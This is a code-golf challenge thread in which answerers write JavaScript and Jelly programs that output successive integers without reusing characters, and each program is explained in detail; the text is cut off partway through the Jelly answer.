[here](https://stackoverflow.com/a/8566001/4910495).\n[Answer]\n# [Japt](https://github.com/ETHproductions/japt), 14 bytes\n```\nU¥`goog¤`?Þ:Ul\n```\n[Try it here!](http://ethproductions.github.io/japt/?v=1.4.3&code=VaVgZ29vZ6RgP946VWw=&input=Imdvb2dsZSI=)\n### Explanation\n```\nU¥`goog¤`?Þ:Ul \nU // U is the input\n ¥ // ¥ is the Unicode shortcut for ==\n goog¤ // \"google\" compressed\n ` ` // backticks are used to uncompress goog¤\n Þ // An undefined variable\n Ul // l is a built-in that returns the length of U\n // Implicit: output result of last expression\n```\n[Answer]\n# [Zsh](https://www.zsh.org/), 18 bytes\n```\n<<<$#1>$1\n<^google\n```\n[Try it online!](https://tio.run/##qyrO@F@cWpJfUKKQWlGSmpeSmpKek5/038bGRkXZ0E7FkMsmLj0/Pz0n9f///2AGAA \"Zsh – Try It Online\")\nExplanation:\n* `<<<$#1`:\n\t+ `$1`: the input\n\t+ `#`: length\n\t+ `<<<`: and print it\n* `>$1`: redirect that output to a file called the input\n* `^google`: try and find a file with any name other than `google`\n* `<`: and print its contents\nSo if the file created was called `google`, then no file will be found and an error message will appear. But if the file was called anything else, then its contents is the length of the input, and it will be outputted.\n[Answer]\n## ><>, 55 bytes\n```\ni:0(?v\n31&l~ [40, 214, 43, 41]\n““((ẹẹ++))‘ -> [[], [40, 40, 214, 214, 43, 43, 41, 41]]\n“““(((ẹẹẹ+++)))‘ -> [[], [], [40, 40, 40, 214, 214, 214, 43, 43, 43, 41, 41, 41]]\n```\n### N+N\n```\n“(ẹ+)‘FQṖṪỌv Main link. Argument: n\n“(ẹ+)‘ As before.\n F Flatten the array. Yields an integer array.\n Q Unique; deduplicate the integers.\n This yields [40, 214, 43, 41].\n Ṗ Pop; remove the last element.\n Ṫ Tail; extract the last element. \n This yields 43, the Unicode code point of +.\n Ọ Unordinal; cast to character.\n v Eval; execute the character as a Jelly\n program with argument n.\n```\n### N×N\n```\n““((ẹẹ++))‘‘FFQQṖṖṪṪỌỌvv Main link. Argument: n\n““((ẹẹ++))‘ As before.\n ‘ Increment all integers.\n FF Flatten the array. Yields an integer array.\n QQ Unique; deduplicate the integers.\n This yields [41, 215, 44, 42].\n ṖṖ Pop twice; remove the last two elements.\n ṪṪ Tail; extract the last element.\n This yields 215, the Unicode code point of ×.\n ỌỌ Unordinal; cast to character.\n v Eval; execute the character as a Jelly\n program with argument n.\n v Eval; convert the return value (n×n) to a\n string and execute that string as a Jelly\n program with argument n. Since the string\n consists of a single integer literal, that\n integer is returned, ignoring the argument.\n```\nNote that `F`, `Q`, `Ṫ`, and `Ọ` do not alter 1D arrays, arrays without duplicates, integers, and characters (respectively).\n### N^N\n```\n“““(((ẹẹẹ+++)))‘‘‘FFFQQQṖṖṖṪṪṪỌỌỌvvv Main link. Argument: n\n“““(((ẹẹẹ+++)))‘ As before.\n ‘‘ Increment all integers twice.\n FFF Flatten the array. Yields an integer array.\n QQQ Unique; deduplicate the integers.\n This yields [42, 216, 45, 43].\n ṖṖṖ Pop thrice; remove the last three elements.\n ṪṪṪ Tail; extract the last element.\n This yields 42, the Unicode code point of *.\n ỌỌỌ Unordinal; cast to character.\n v Eval; execute the character as a Jelly\n program with argument n.\n vv Eval twice. See N×N.\n```\n[Answer]\n## [><>](http://esolangs.org/wiki/Fish), 41 bytes\n```\n\\<\n1:: :\n&&* +\ni*n n\nc&\n%:\n4l\n0(\n.i\nn}\n&?\n```\nTry it online: **[N+N](http://fish.tryitonline.net/#code=XDwKMTo6IDoKJiYqICsKaSpuIG4KYyYKJToKNGwKMCgKLmkKbn0KJj8&input=OQ)**, **[N\\*N](http://fish.tryitonline.net/#code=XFw8PAoKMTE6Ojo6ICA6OgoKJiYmJioqICArKwoKaWkqKm5uICBubgoKY2MmJgoKJSU6OgoKNDRsbAoKMDAoKAoKLi5paQoKbm59fQoKJiY_Pw&input=OQ)**, **[N^N](http://fish.tryitonline.net/#code=XFxcPDw8CgoKMTExOjo6Ojo6ICAgOjo6CgoKJiYmJiYmKioqICAgKysrCgoKaWlpKioqbm5uICAgbm5uCgoKY2NjJiYmCgoKJSUlOjo6CgoKNDQ0bGxsCgoKMDAwKCgoCgoKLi4uaWlpCgoKbm5ufX19CgoKJiYmPz8_&input=OQ)**. Assumes that the STDIN input is exactly one char.\n ><> is a 2D language, so we can make use of the fact that code semantics are mostly unchanged if we execute instructions downwards — the extra empty lines that ensue are just no-ops. The exception to this is the conditional trampoline `?` which pops a value and skips the next instruction if the value was nonzero — the extra newlines would mess up `?` due to the inserted no-ops, but we can get around this by putting the `?` at the end of a column and taking advantage of wrapping.\nTo decide which operation to execute, the key is `40.`, which teleports the IP to position `(4, 0)`. Due to the expansion of the code, the `x = 4` column corresponds to `+` for the base program, `*` for the doubled program and `^` for the tripled program. Unfortunately ><> doesn't have exponentiation built in, making that the bulk of the program.\n```\n[Setup]\n\\ Mirror: reflect IP direction to downwards\n1& Put 1 into the register\nic% Push a code point of input, then take it mod 12. This maps the char '1' to the\n number 1, and so forth for '2' to '9'.\n40. Jump to (4, 0), still heading downwards\n[N+N version]\n:+ Duplicate then add\nn Output as number\n (Stack is now empty, so the program errors out trying to do the above again)\n[N*N version]\n:* Duplicate then multiply\nn Output as number\n (Stack is now empty, so the program errors out trying to do the above again)\n[N^N version]\n:&*& Multiply register by N\n:l( Push (N < length of stack + 1)\ni Push input, but since we're now at EOF this pushes -1 (stack length += 1)\n} Move -1 to the back\n?< If (N < length + 1) was 1, execute the < to move leftward. Otherwise, skip it.\n (Continue loop)\n\\ Mirror: reflect IP direction upwards\n&n Output register\n. Jump to (-1, N), which is invalid so the program errors out\n```\n[Answer]\n# [**TovTovTov**](https://github.com/yanivm/TovTovTov) (a mutation of [**Chicken**](https://web.archive.org/web/20180816190122/http://torso.me/chicken)): 810147050 bytes\nDescribed below are **two** suggested solutions: One *full* solution to the question requiring lots of bytes, and a second *partial* solution (solving only the *N+N* and *N\\*N* parts, requiring only 484 bytes), each taking a different approach and its own set of cool tricks! :)\n### 1. Full solution (810147050 bytes)\nUsing `TovTovTov(TOV='hi',SEP=',')`, the `TOV` elements are immune to duplicating characters in place (both `\"hihihi\"` and `\"hhiihhiihhii\"` have three `\"hi\"`s in them, and all **`TovTovTov`** cares about is how many `TOV`s appear between `SEP`s).\nIf we used `SEP=', '`, the entire program would be immune to character duplication (which is cool, but won't solve the question). So we use `SEP=','`.\nSo the program `\"hihihi,hi\"`, for example, compiles to the ints array `[3,1]`, while `\"hhiihhiihhii,,hhii\"` compiles to `[3,0,1]` and `\"hhiihhiihhii,,hhii\"` to `[3,0,0,1]`. This means that the commands themselves don't change their meaning after duplication, but the overall length changes with character duplication. The solution below queries the length of the program and uses this to decide whether to print `N+N`, `N*N` or `N^N`.\nThe suggested full solution, as ints array, is: `[6, 12, 9, 18, 9, 142, 11, 38, 8, 9, 260, 11, 73, 8, 22, 75, 7, 10, 14, 3, 1, 22, 24, 18, 15, 8, 10, 16, 3, 1, 22, 24, 18, 15, 8, 10, 45, 16, 7, 22, 3, 1, 22, 24, 18, 15, 8, 22, 3, 1, 22, 24, 18, 15, 8, 25, 3, 1, 22, 24, 18, 15, 8, 48, 3, 1, 22, 24, 18, 15, 8, 277, 3, 1, 22, 24, 18, 15, 8, 3146, 3, 1, 22, 24, 18, 15, 8, 46677, 3, 1, 22, 24, 18, 15, 8, 823564, 3, 1, 22, 24, 18, 15, 8, 16777237, 3, 1, 22, 24, 18, 15, 8, 387420510, 3, 1, 22, 24, 18, 15, 8]`\nAs a string, it's a pretty long program, consisting of 810147050 characters, starting with:\n`hihihihihihi,hihihihihihihihihihihihi,hihihihihihihihihi,hihihihihihihihihihihihihihihihihihi,hihihihihihihihihi,hihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihih...`\n### 2. Solving only the N+N and N\\*N parts of the question (484 bytes)\nUsing `TovTovTov(TOV='1',SEP=', ')`, this time the `SEP`s are immune to duplication (`\",, \"` still has just one `\", \"` in it), so the following suggested solution will always have 33 commands in it, even after character duplication:\n`1111, 111111111111111111111111111111111111111111111111, 1111111111, 1111111111, 1111111111, 111111, 111111111111, 111111111, 11111111111111, 111, 1, 1111111111111111111111, 111111111111111111111111, 111111111111111111, 111111111111111, 11111111, 111111111111, 1111111111111111, 111111111111111, 1111111111111111111111, 111111111111111111111111111111111111, 11, 1111111111111111111111111111, 111111, 111, 111111, 11111111111, 111111111111111111111111111, 1111, 1, 11111111, 1, 11111111`\nThe corresponding ints array (the number of `TOV`s (`1`s) in each of the 33 commands above) is as follows: `[4,48,10,10,10,6,12,9,14,3,1,22,24,18,15,8,12,16,15,22,36,2,28,6,3,6,11,27,4,1,8,1,8]`\nDuplicating the characters in place results in a list of 33 **totally different commands**:\n`[8,96,20,20,20,12,24,18,28,6,2,44,48,36,30,16,24,32,30,44,72,4,56,12,6,12,22,54,8,2,16,2,16]`\nThe original ints array (that calculates *N+N*) was designed *carefully* so that after the commands change their meaning, the program still makes sense, but calculates *N\\*N*. For example, the first `4` (that **`TovTovTov`** understands as \"treat the next op as an ascii code to convert to a character\") changes after character duplication to `8`, which is a *totally different command* (\"change the Program Counter to the first popped value from the stack, if the value popped immediately after is true\").\n[Answer]\n# [Befunge-98 (FBBI)](https://github.com/catseye/FBBI), ~~38~~ 41 bytes\n*(+3 bytes to fix bug, thanks Jo King!)*\n```\nvx:k::1-k*\\/.@\n20@\nj3.\n>^*\n>:^\n>:+.@\n```\nTry it online: [N+N](https://tio.run/##S0pNK81LT9W1tPj/v4xLrcIq28rKUDdbK0Zfz4HLyMCBK8tYj8suTovLzioOiLX1HP7/NwcA), [N\\*N](https://tio.run/##S0pNK81LT9W1tPj/v6yMi0tNraLCyio72woIDA11dbOztbRiYvT19fQcHLi4jIwMDEB0VpaxsZ4eF5edXVyclhaItrKKi4PQ2togtf//mwMA), [N^N](https://tio.run/##PYw7CsAgEET7PYiF4r9IYiEeRCwCSUAhXcTbb5YImeoNM7z9OJ/7OuS2IvbeARhjY4wQQmstfLHWSimpcs5zzlprpVRKCQCcc8aYybVW7z1NxDHGUgr9J5OE6s9CiGlAXF4)\nThis program won't work out-of-the-box since it requires input to be on the stack at the start of execution. By replacing the first line with the following code (adding three more bytes) it will take input from stdin:\n```\nv\n&x:k:2-\n```\n---\n## Explanation\n### Setup\n```\nv Redirect motion downward\n02j Jump over two instructions/spaces, executing the third\n If N=1, it will skip to the 6th line\n If N=2, it will skip to the 5th line\n If N=3, it will skip to the 4th line\n```\n### N=1\n```\n> Move right\n:+.@ Duplicate, add, print and exit\n```\n### N=2\n```\n>>::^^ Move right, duplicate twice, move up\n*.@ Multiply, print and exit\n```\n### N=3\n```\n>>>^^^ Redirect motion\n30x Set instruction pointer delta to (3, 0), causing it to\n move right, executing every third instruction\n:k:: Duplicate the number (we'll call it M) M+2 times\n The stack is now [M]*(M+3)\n1-k* Multiply things M times (`k' is a quirky instruction)\n\\/ Divide that result by M (workaround for `k` being quirky)\n.@ Print and exit\n```\n[Answer]\n# [Gol><>](https://github.com/Sp3000/Golfish), ~~20~~ 18 bytes\nUnlike ><>, Gol><> actually has an exponentiation built-in.\n```\n\\hh\nI\n:\n\\\\\n\\\\\\\nX*+\n```\n[Try it online!](https://tio.run/##S8/PScsszvj/PyYjg8uTy4orJgaIYrgitLT//zcGAA \"Gol><> – Try It Online\")\n[Try it online (doubled)!](https://tio.run/##S8/PScsszvj/PyYmAwi4uDw9ubisrLi4YoAAQoLoiAgtLW3t//@NAQ \"Gol><> – Try It Online\")\n[Try it online (tripled)!](https://tio.run/##S8/PScsszvj/PyYmJgMMuLi4PD09gaSVlRWQjAEDOAPCjoiI0NLS0tbW/v/fGAA \"Gol><> – Try It Online\")\n## Explanation\nFor the explanations here, I'll replace un-executed code with spaces.\n```\n\\ Reflect the pointer down\nI Take an input\n: Copy the input\n\\\\ Series of mirrors...\n \\\\ That reflect to the addition part\n + Add the two numbers\n h (Wrapped around) Print, and Halt\n```\n## Explanation (doubled)\n```\n\\ Reflect down\nI Take input\n: Duplicate the stack\n\\\\ Set of mirrors...\n \\\\ That redirect to the * section\n * Multiply two numbers\n h (Wrapped around) Print + Halt\n```\n## Explanation (tripled)\n```\n\\ Reflect down\nI Take input\n: Duplicate input\n\\\\ Set of mirrors...\n \\\\ ... That redirect to the exponentiation section\n X Exponentiate the two values\n \\h (Wrapped around) Reflect right to the Print + Halt statement\n```\n# [Gol><>](https://github.com/Sp3000/Golfish), 19 bytes\nA longer (and more boring) version based on the ><> solution.\n```\nv\nIX* +\n:hh h\n4\n0\n.\n```\n[Try it online!](https://tio.run/##S8/PScsszvj/v4zLM0JLQZvLKiNDIYPLhMuAS@//f2MA \"Gol><> – Try It Online\")\n[Try it online (doubled)!](https://tio.run/##S8/PScsszvj/v6yMi8vTMyJCS0tBQVubi8vKKgMIFBQyMri4TEy4uAwMuLj09P7/NwYA \"Gol><> – Try It Online\")\n[Try it online (tripled)!](https://tio.run/##S8/PScsszvj/v6ysjIuLy9PTMyIiQktLS0FBQVtbGyhiZWWVAQYKCkACKGBiYgIkDQwMgKSent7//8YA \"Gol><> – Try It Online\")\n[Answer]\n# [Itr](https://github.com/bsoelch/OneChar.js/blob/main/ItrLang.md), 29 bytes\n`\"L0#+â*;\"0 0 0'+$©^#$0ååä0 0^`\n[online interpreter](https://bsoelch.github.io/OneChar.js/?lang=Itr&in=NQ==&src=IkwwIyviKjsiMCAwIDAnKySpXiMkMOXl5DAgMF4=)\n[doubled](https://bsoelch.github.io/OneChar.js/?lang=Itr&in=NQ==&src=IiJMTDAwIyMrK-LiKio7OyIiMDAgIDAwICAwMCcnKyskJKmpXl4jIyQkMDDl5eXl5OQwMCAgMDBeXg==)\n[tripled](https://bsoelch.github.io/OneChar.js/?lang=Itr&in=NQ==&src=IiIiTExMMDAwIyMjKysr4uLiKioqOzs7IiIiMDAwICAgMDAwICAgMDAwJycnKysrJCQkqampXl5eIyMjJCQkMDAw5eXl5eXl5OTkMDAwICAgMDAwXl5e)\n## Explanation\nRelies on Itr's redefinition operator `$` (and the ability to redefine redefinition) to distinguish between the first and third case.\nUses string literals to run independent code for the second case.\n[normal](https://bsoelch.github.io/OneChar.js/?lang=Itr&in=NQ==&src=IkwwIyviKjsiMCAwIDAnKySpXiMkMOXl5DAgMF4=):\n```\n\"L0#+â*;\"0 0 0'+$©^#$0ååä0 0^\n\"L0#+â*;\" ; string literal\n 0 0 0 ; push zero 3 times\n '+$©^ ; redefine ^ to mean +\n #$0 ; read the input, store it in variable zero\n ååä ; stack operations\n 0 0^ ; Input + Input (after redefinition)\n ; implicit output\n```\n[doubled](https://bsoelch.github.io/OneChar.js/?lang=Itr&in=NQ==&src=IiJMTDAwIyMrK-LiKio7OyIiMDAgIDAwICAwMCcnKyskJKmpXl4jIyQkMDDl5eXl5OQwMCAgMDBeXg==):\n```\n\"\"LL00##++ââ**;;\"\"00 00 00''++$$©©^^##$$00ååååää00 00^^\n\"\" ; empty string\n LL ; push 1 two times (calling 'L' on number)\n 00 ; push zero\n ## ; read input, 2nd # will push zero as stdin is empty\n ++ ; add up the top 3 stack values (results in the input value)\n ââ ; \"under\" stack operation twice (1 1 X -> 1 X X 1 X )\n ** ; multiply top three stack values, giving X*1*X=X*X\n ;; ; comment out the rest of the line\n```\n[tripled](https://bsoelch.github.io/OneChar.js/?lang=Itr&in=NQ==&src=IiIiTExMMDAwIyMjKysr4uLiKioqOzs7IiIiMDAwICAgMDAwICAgMDAwJycnKysrJCQkqampXl5eIyMjJCQkMDAw5eXl5eXl5OTkMDAwICAgMDAwXl5e):\n```\n\"\"\"LLL000###+++âââ***;;;\"\"\"000 000 000'''+++$$$©©©^^^###$$$000ååååååäää000 000^^^\n\"\"\"LLL000###+++âââ***;;;\"\"\" ; 3 string literals\n000 000 000 ; push zero 3 times\n'''+++$$ ; redefine the $ operator to be the string literal \"R\"\n$© ; call \"R\" consuming zero on stack\n ©© ; call 3rd zero and empty string on stack\n ^^^ ; power with basis zero -> will push (vector of) zeros\n###$$$000ååååååäää000 000^^^ ; the actual computation\n### ; read number and two implicit zero from stdin\n $$$ ; push string \"R\" 3 times\n 000 ; push zero\n åååååå ; discard the top 6 values on the stack\n äää ; duplicate top stack value (Input) 3 times\n 000 000 ; push zero twice\n ^^^ ; calculates X^(X^(0^0))= X^X\n```\n]"}}},{"rowIdx":48,"cells":{"text":{"kind":"string","value":"[Question]\n [\n## Challenge:\nYour task is to write as many programs / functions / snippets as you can, where each one outputs / prints / returns an integer. The first program must output the integer `1`, the second one `2` and so on.\n**You can not reuse any characters between the programs. So, if the first program is: `x==x`, then you may not use the characters `x` and `=` again in any of the other programs.** Note: It's allowed to use the same character many times in one program.\n### Scoring:\nThe winner will be the submission that counts the highest. In case there's a tie, the winner will be the submission that used the fewest number of bytes in total.\n### Rules:\n* You can only use a single language for all integers\n* **Snippets are allowed!**\n* To keep it fair, all characters must be encoded using a single byte in the language you choose.\n* The output must be in decimal. You may not output it with scientific notation or some other alternative format. Outputting floats is OK, as long as all digits *that are shown* behind the decimal point are `0`. So, `4.000` is accepted. Inaccuracies due to FPA is accepted, as long as it's not shown in the output.\n* `ans =`, leading and trailing spaces and newlines etc. are allowed.\n* You may disregard STDERR, as long as the correct output is returned to STDOUT\n* You may choose to output the integer to STDERR, but only if STDOUT is empty.\n* Symbol independent languages (such as [Lenguage](https://esolangs.org/wiki/Lenguage)) are disallowed\n* Letters are case sensitive `a != A`.\n* The programs must be independent\n* Whitespace can't be reused\n* You must use ASCII-digits in the output\nExplanations are encouraged!\n \n[Answer]\n## JavaScript (ES7), score 17, 176 bytes\nThey said it couldn't be done, so I did it :D (thanks to a lot of help from @FullDecent)\n```\n\"\"**\"\"\n~(~/~//~/~/)/~/~/\n3\n4\n!NaN- -!NaN- -!NaN- -!NaN- -!NaN\n6\n7\n8\n9\n++[[]][+[]]+[+[]]\n11\n'lengthlength'.length\n222>>2>>2\n`${``^``}xE`^``\n0XF\nC=CSS==CSS;C<`s for a while to get this one. I got lucky again: `222 >> 2` is `55`, and `55 >> 2` is `13`.\n14. This one is rather tricky. The basic idea is to create `14` in hex (`0xE`), but we need the digit `0` elsewhere. So instead we prepend the result of ```^``` to the string `xE`; the empty string coerced to a number is `0`, so this returns `0 ^ 0` = `0`. Then the result is XORed with the empty string, which converts both values to numbers; `\"0xE\" ^ \"\"` is `14`.\n15. This is now pretty easy: `0XF` is a hexadecimal literal with a value of `15`.\n16. The trickiest of all? First we set the variable `C` to `CSS == CSS` (that is, `true`). Then we take the result and perform `<< C` four times, which basically multiplies `1` by `2 ** 4`.\n17. JavaScript starts to lose integer precision at 253, which allows `555...555%55` to return a number that's not `0` or `5`. I happened to get very lucky while playing around here.\nStrategies that would work on many numbers:\n* `-!NaN` would work on any number (currently `5`), though it gets large very fast.\n* `~/~/` would work on any number (currently `2`), though it gets *very* large *very* fast.\n* `+[]` would work on any number (currently `10`), though it's by far easiest on `10` or `11`.\n* `.length` would work on any number.\n* ``${-``}xE`-``` would work on pretty much any number if you do it right.\n* `C< 0**, with the last if **y < 0**. However, when **y = 0**, it returns **x** concatenated with its reverse.\nThe left integer argument **0** is first promoted to **[0]**. The first copy of `m` concatenates **[0]** with itself, yielding **[0, 0]**. The remaining copies turn this result into **[0, 0, 0, 0]**, then **[0, 0, 0, 0, 0, 0, 0, 0]**, and finally **[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]**.\nAt last, the *count* atom `ċ` counts the number of times the implicit argument **0** appears in the resulting array, returning **16**.\n```\nṭṭṭṭṭṭṭṭḍḄḄḄḄḄḄḄḄḄ\n```\n`ṭ` is the *tack* atom and appends its left argument to its right one. Since `ṭ` and the following `ḍ` are dyadic, all calls to `ṭ` pass the implicit argument **0** as the right argument to `ṭ`. The first call returns **[0, 0]**, the second **[0, [0, 0]**, and the eighth and last **[0, [0, [0, [0, [0, [0, [0, [0, 0]]]]]]]]**.\n`ḍ` is the *divisibility* atom; for arguments **x** and **y**, it returns **1** is **x** is divisible by **y**, **0** if not. `Ḅ` is a no-op for integers, so `ḍḄ` tests **0** for divisibility by each integer in the constructed array. **0** is divisible by itself, so we get **[1, [1, [1, [1, [1, [1, [1, [1, 1]]]]]]]]**.\nNow, the *unbinary* atom `Ḅ` operates on flat arrays. For a pair **[a, b]**, it simply returns **2a + b**. As mentioned earlier, `Ḅ` is a no-op for integers: an integer argument **c** is promoted to **[c]**, and **[c]** in *any* base is simply **c**.\nThe first call to `Ḅ` reduces **[1, 1]** to **3**, thus yielding **[1, [1, [1, [1, [1, [1, [1, 3]]]]]]]**. The next call reduces **[1, 3]** to **5**, the next one **[1, 5]** to **7**, and so forth until the ninth `Ḅ` returns **17**.\n```\n+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ+Ṇ\n```\n`Ṇ` is the *flat logical NOT* atom and maps the implicit argument **0** to **1**. `+` is the addition atom, so each of the eighteen copies of `+Ṇ` increment the previous return value (initially **0**). The whole program thus returns **18**.\n```\nCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNCNC\n```\n`C` is the *complement* atom and maps its argument **z** to **1-z**. `N` is the *negate* atom and maps its argument **z** to **-z**. Together, `CN` maps **z** to **-(1-z) = z-1**, so the eighteen copies turn the implicit argument **0** into **-18**. A final application of `C` yields `1 - (-18) = 19`.\n```\nĖḌĖḌ\n```\nThe *enumerate* atom `Ė` enumerates the items in an array, creating index-value pairs. The implicit argument **0** is promoted to **[0]**, then `Ė` yields **[[1, 0]]**. The *undecimal* atom converts a flat array from base 10 to integer, yielding **[10]** in this particular case.\nThe second call to `Ė` transforms **[10]** into **[[1, 10]]**, which the second `Ḍ` finally transforms into **[20]**.\n### 21 – 30\n```\nṫṣȦJṫȦ⁸ȦJ\n```\nThe *tail* atom `ṫ` (a dyad) select the postfix of its left argument that starts at the index (1-based and modular) specified in its right argument, promoting a left integer argument **x** to **[x]**. When called with both arguments set to **0**, `ṫ` returns **[0]**.\nThe *any and all* atom `Ȧ` returns **1** if its argument is truthy and contains no zeroes at any depth, **0** otherwise. Here, we simply use it as an identity function to return the implicit argument **0**. The *split at* atom `ṣ` partitions its left argument **[0]** at occurrences of its right argument **0**, so it returns **[[], []]** here.\nThe *indices* atom `J` discards the elements of the return value and replaces them with their indices, yielding the range **[1, 2]** in this specific case. `Ȧ` and `ṫ` both work as before, so they reduce **[1, 2]** to the postfix that starts at the last index, yielding **[2]**.\nIn niladic links, the constant `⁸` holds **[]**. This is an unparseable nilad, i.e., it doesn't fit into the chain in any way. As a result, the previous return value (**[2]**) is printed to STDOUT, then replaced with the nilad's value (**[]**).\nSince **[]** is falsy, `Ȧ` transforms it into **0**. The `J` atom promotes **0** to **[0]**, then returns the list of its indices (**[1]**), which is printed implicitly when the program finishes.\n```\n22\n```\nAnother literal. Repdigits seem to be the best place to use them.\n```\n“@ṃ»\n```\nThis uses Jelly's inbuilt string compression. The indices of **@** and **ṃ** in Jelly's code page are **64** and **220** and string literals can contain 250 different characters, so this first computes the integer **250 × 65 + 220 = 16470**.\n**16470** is divisible by 3, so the quotient **16470/3 = 5490** encodes a printable ASCII character or a linefeed. There are 96 of these and **5490 = 96 × 57 + 18**, meaning that we've decoded the printable ASCII character at the 0-based index **18**, which is **'2'**.\nWe're left with **57**, which is also divisible by **3**, so the quotient **57/3 = 19 = 96 × 0 + 19** encodes printable ASCII character at the 0-based index **18**, which is **'3'**.\nThis leaves **0**; the decoding process stops. The generated characters are concatenated to form **\"23\"**\n```\n!ḤḤ!\n```\nThe *factorial* atom `!` turns the implicit argument **0** into **1**. Two invocations of the *unhalve* atom `Ḥ` turn **1** into **2**, then **2** into **4**. Finally, `!` computes **4! = 24**.\n```\n³HH\n```\nIn absence of command-line arguments, the constant `³` holds **100**. Two invocations of the `H` turns **100** into **50**, then **50** into **25**.\n```\nØaM\n```\nThe constant `Øa` holds the lowercase alphabet. The *maximal* atom `M` yields all indices of maximal items, and since **z** is the largest lowercase letter, the result is **[26]**.\n```\n;;;;;;;;;;;;;;;;;;;;;;;;;;;¬¬ḅ¬\n```\nTwenty-six copies of the *concatenate* atom `;` concatenate the initial return value **0** and twenty-six instances of the default argument **0**, building an array of 27 zeroes.\n`¬` is the *logical NOT* atom, so `;¬` appends a **1** to the array of zeroes. The next `¬` negates all elements in the array, leaving us with an array of 27 ones and 1 zero.\n`ḅ` is the *unbase* atom and converts a digit array from its left argument from the base specified in its right argument to integer. `ḅ¬` converts from unary to integer, so it simply performs a sum. For an array of 27 ones, this returns **27**.\n```\nirið8c\n```\nThe *index of* atom `i` promotes its left argument **0** to **[0]**, then find the index of its right argument **0** in that array, yielding **1**.\nThe *range* atom `r` constructs an ascending or descending range from it's left argument to its right one. The right argument is the implicit argument **0**, so this yields **[1, 0]**. A second invocation of `i` finds the index of **0** in **[1, 0]**, yielding **2**.\n`ð` begins a new, dyadic chain. Since the preceding chain was niladic, both left and right argument of this chain will be equal the first chain's return value (**2**). `c` in the *combinations* atom. With left argument **8** and right argument **2**, it counts all unique, unordered 2-combinations of a set of **8** elements, returning **8C2 = 8!/(6!2!) = 28**.\n```\n⁶ḲĠṂ°İṂĊ\n```\nThe constant `⁶` holds a space character and sets argument and return value to **' '**. The *words* atom `Ḳ` promotes the character **' '** to the singleton string **\" \"** and splits it at spaces, yielding **[[], []]**.\nThe *group* atom `Ġ` groups all indices of equal elements. Since both elements of the last return value are equal, it returns **[[1, 2]]** here. The *minimum* atom extracts a minimal (the only) element of this array, yielding **[1, 2]**.\nThe *degree* atom `°` converts both integers from sexagesimal degrees to radians, yielding **1° × 2π/360° = π/180** and **2° × 2π/360° = π/90**. The *inverse* atom takes the multiplicative inverses, yielding **180/π ≈ 57.3** and **90/π ≈ 28.6**.\nThen, `Ṃ` once more takes the minimum, yielding **28.6**. Finally, the *ceil* atom `Ċ` transforms **28.6** into **29**.\n```\nœṡ¹ẆẆTUṖṖṖṖP\n```\nThe *identity* atom `¹` returns **0** for the implicit argument **0**. The *split around* atom `œṡ` promotes both of its arguments (both **0**) to **[0]**, then splits **[0]** around contiguous subarrays equal to **[0]**. This yields **[[], []]**.\nThe *sliding window* atom `Ẇ` builds all contiguous subarrays of its argument. The first instance transforms **[[], []]** into **[[[]], [[]], [[], []]]**, the second instance transforms **[[[]], [[]], [[], []]]** into \n**[[[[]]], [[[]]], [[[], []]], [[[]], [[]]], [[[]], [[], []]], [[[]], [[]], [[], []]]]**.\nThe *truth* atom `T` lists all indices of truthy elements. None of the arrays at the first level are empty, so this yields **[1, 2, 3, 4, 5, 6]**. The *upend* atom `U` reverses this array, yielding **[6, 5, 4, 3, 2, 1]**.\nFour copies of the *pop* atom `Ṗ` remove the last four elements, leaving us with **[6, 5]**. Finally, the *product* atom `P` transforms this array into **30**.\n### 31 – 40\n```\nȷ½RṪ\n```\n`ȷ` is a shorthand for **1 × 103 = 1000**. The *square root* atom `½` yields **31.6**, which the *range* atom `R` transforms into **[1, …, 31]**. Finally, the *tail* atom `Ṫ` extracts the last element, returning **31**.\n```\nLµdddddµFL\n```\nThe *length* atom `L` promotes the implicit argument **0** to **[0]**, then takes the length to yield **1**. `µ` starts a new, monadic chain, and the result **1** becomes its argument.\nFor arguments **x** and **y**, the *divmod* atom `d` yields **[x/y, x%y]**. Each call will have **y = 1**, so the result will always be **[x, 0]**.\nThe first call starts with **x = 1**, yielding **[1, 0]**. `d` only operates on integers, so it vectorizes in subsequent calls. The second call yields **[[1, 0], [0, 0]]**, the third **[[[1, 0], [0, 0]], [[0, 0], [0, 0]]]**, and the fifth and last one an array of depth 5 that contains a single one and 31 zeroes.\n`µ` once more starts a new, monadic chain, and the array from before becomes its argument. The *flat* atom `F` unnests this array, yielding a flat array of a single one and 31 zeroes. Finally, `L` takes the length of the resulting, returning **32**.\n```\n33\n```\nAnother repdigit, another literal.\n```\nWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWŒḊ\n```\nEach instance of the *wrap* atom transforms its argument **z** into **[z]**. With the initial return value of **0**, all 34 instances together yield **[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[0]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]**. Finally, the *depth* atom `ŒḊ` computes the maximal depth of the resulting array, returning **34**.\n```\nẇɓæ«æ«æ«æ«æ«|æ«|\n```\nThe *window exists* atom `ẇ` promotes both of its arguments (both default to **0**) to **[0]**, then tests if\\*\\*[0]\\*\\* occurs as a contiguous subarray of **[0]**. It does, so `ẇ` returns **1**.\n`ɓ` begins a new, dyadic chain. Since the preceding chain was niladic, both left and right argument of this chain will be equal the first chain's return value (**1**). The chain makes use of two different, dyadic atoms: *bitshift left* (`æ«`) and *bitwise OR* (`|`).\nA dyadic chain that starts with three or more dyads initially calls the first dyad with the chain's arguments. Here, this gives **1 << 1 = 2**. The six subsequent dyads are grouped into pairs (so-called *forks*), where the rightmost dyad is called first with the chain's arguments, then the leftmost one is called with the previous return values to both sides.\nFor `æ«æ«`, we get **2 << (1 << 1) = 2 << 2 = 8**. Then, `æ«æ«` computes **8 << (1 << 1) = 8 << 2 = 32**. Now, `|æ«` gets us **32 | (1 << 1) = 32 | 2 = 34**.\nFinally, the trailing `|` acts like a *hook* and is called with the previous return value as its left argument and the chain's right argument as its right one. This returns **34 | 1 = 35**.\n```\n⁹ṚḢ²\n```\nIn absence of a second argument, the constant `⁹` holds **256**. The *reverse* atom promotes **256** to the array **[2, 5, 6]** and reverses it to yield **[6, 5, 2]**. Then, the *head* atom 